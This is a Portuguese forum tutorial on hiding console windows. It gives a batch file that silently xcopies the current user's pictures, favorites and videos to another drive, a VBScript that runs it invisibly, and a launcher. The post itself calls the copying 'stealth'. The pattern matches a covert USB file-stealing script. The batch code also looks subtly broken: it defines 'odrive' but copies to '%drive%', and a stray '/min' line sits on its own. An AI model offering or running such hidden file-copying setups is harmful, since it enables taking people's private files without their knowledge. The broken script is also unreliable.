CONSOLE: Rodando no prompt de forma invisivel.

Aqui você poderá oferecer suas Contribuições, Dicas e Tutoriais (Texto ou Vídeo) que sejam de interesse de todos.

Moderador: Moderadores

Avatar do usuário
rochinha
Administrador
Administrador
Mensagens: 4664
Registrado em: 18 Ago 2003 20:43
Localização: São Paulo - Brasil
Contato:

CONSOLE: Rodando no prompt de forma invisivel.

Mensagem por rochinha »

Amiguinhos,

Rodando aplicativos console de forma escondida usando WScript e .VBS.

Vamos fazer um teste:

PASSO 1
Abra o notepad e cole o seguinte texto:

Código: Selecionar todos

@echo off
:: variables
/min
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% "%USERPROFILE%\pictures" "%drive%\all\My pics"
%backupcmd% "%USERPROFILE%\Favorites" "%drive%\all\Favorites"
%backupcmd% "%USERPROFILE%\videos" "%drive%\all\vids"
@echo off
cls
Salve como teste.bat

Este arquivo esta configurado para copiar de forma escondida(stealth) arquivos do usuário ativo como, fotos, favoritos, etc.

O primeiro caminho é "%USERPROFILE%\pictures" – is a origem.
O segundo caminho é "%drive%\all\My pics" – é - destino.

PASSO 2
Abra o notepad novamente e escreva o texto a seguir:

Código: Selecionar todos

CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False
Salve como invisivel.vbs

Este código irá executar o teste.bat e não mostrará o Prompt do DOS e nenhum processamento.

PASSO 3
Abra notepad uma ultima vez e escreva o texto abaixo:

Código: Selecionar todos

wscript.exe invisivel.vbs teste.bat
Salve como lancar.bat

Agora é só brincar e ver o que se pode fazer com suas idéias.
OPS! LINK QUEBRADO? Veja ESTE TOPICO antes e caso não encontre ENVIE seu email com link do tópico para [url=mailto://fivolution@hotmail.com]fivolution@hotmail.com[/url]. Agradecido.

@braços : ? )

A justiça divina tarda mas não falha, enquanto que a justiça dos homens falha porque tarda.
Responder